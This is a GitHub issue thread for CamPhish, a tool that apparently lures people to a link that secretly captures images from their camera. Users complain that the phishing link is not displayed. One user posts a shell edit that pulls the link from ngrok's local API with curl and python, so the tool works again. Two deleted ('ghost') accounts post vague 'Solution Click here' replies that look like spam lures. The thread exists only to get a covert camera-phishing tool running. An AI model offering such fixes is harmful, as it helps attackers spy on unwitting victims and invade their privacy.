CamPhish icon indicating copy to clipboard operation
CamPhish copied to clipboard

link not showing

Open Tajbir007 opened this issue 4 years ago • 8 comments

sir the direct link is not showing

Tajbir007 avatar Aug 21 '21 16:08 Tajbir007

sir the direct link is not showing

Mine also, link not generating If anyone can ,then please help

maartand avatar Aug 22 '21 07:08 maartand

Open hotspot

On Sun, Aug 22, 2021, 12:54 maartand @.***> wrote:

sir the direct link is not showing

Mine also, link not generating If anyone can ,then please help

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/techchipnet/CamPhish/issues/76#issuecomment-903226178, or unsubscribe https://github.com/notifications/unsubscribe-auth/ATQNBIUGF5HNDB5ZFYF3VZLT6CQ2NANCNFSM5CR7XLBA .

Akash-cel avatar Aug 23 '21 01:08 Akash-cel

Open hotspot On Sun, Aug 22, 2021, 12:54 maartand @.***> wrote: sir the direct link is not showing Mine also, link not generating If anyone can ,then please help — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#76 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/ATQNBIUGF5HNDB5ZFYF3VZLT6CQ2NANCNFSM5CR7XLBA .

but i'm in pc

Tajbir007 avatar Aug 23 '21 05:08 Tajbir007

Same here, everything seems to work properly but the direct link does not show up, its empty.

harismuntazir avatar Aug 25 '21 04:08 harismuntazir

Hello, Hope you doing well I find a solution for you : Solution Click here.

Let me if it work for you too.

ghost avatar Aug 27 '21 10:08 ghost

sir the direct link is not showing

Hello, Hope you doing well I find a solution for you : Solution Click here.

ghost avatar Aug 27 '21 10:08 ghost

i found the reason for why the link is not showing up. i checked the ngrok dashboard and saw the link was generated but its not showing up in the console on my computer. so i edited the camphish.sh file and modified LINE: 209 (line number can be different on your file) replace the $link variable with

$(curl -s -N http://127.0.0.1:4040/api/tunnels | python3 -c "import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])" )

for some reason the grep is not working there so i used python to filter (parse) json which conatins the direct link.

Just make sure to edit line 209

printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link

and in replace $link variable with $(curl -s -N http://127.0.0.1:4040/api/tunnels | python3 -c "import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])" ) then save the file and restart camphish.sh

harismuntazir avatar Aug 27 '21 11:08 harismuntazir

Я нашел причину, по которой ссылка не отображается. Я проверил панель управления ngrok и увидел, что ссылка была сгенерирована, но не отображается в консоли на моем компьютере. поэтому я отредактировал файл camphish.sh и изменил LINE: 209 (номер строки может быть другим в вашем файле) заменил $linkпеременную на

$(curl -s -N http://127.0.0.1:4040/api/tunnels | python3 -c "import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])" )

по какой-то причине grep там не работает, поэтому я использовал python для фильтрации (синтаксического анализа) json, который содержит прямую ссылку.

Только не забудьте отредактировать строку 209

printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link

и замените $link переменную на, $(curl -s -N http://127.0.0.1:4040/api/tunnels | python3 -c "import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])" ) затем сохраните файл и перезапустите camphish.sh

не работает

gamebred22 avatar Aug 28 '21 17:08 gamebred22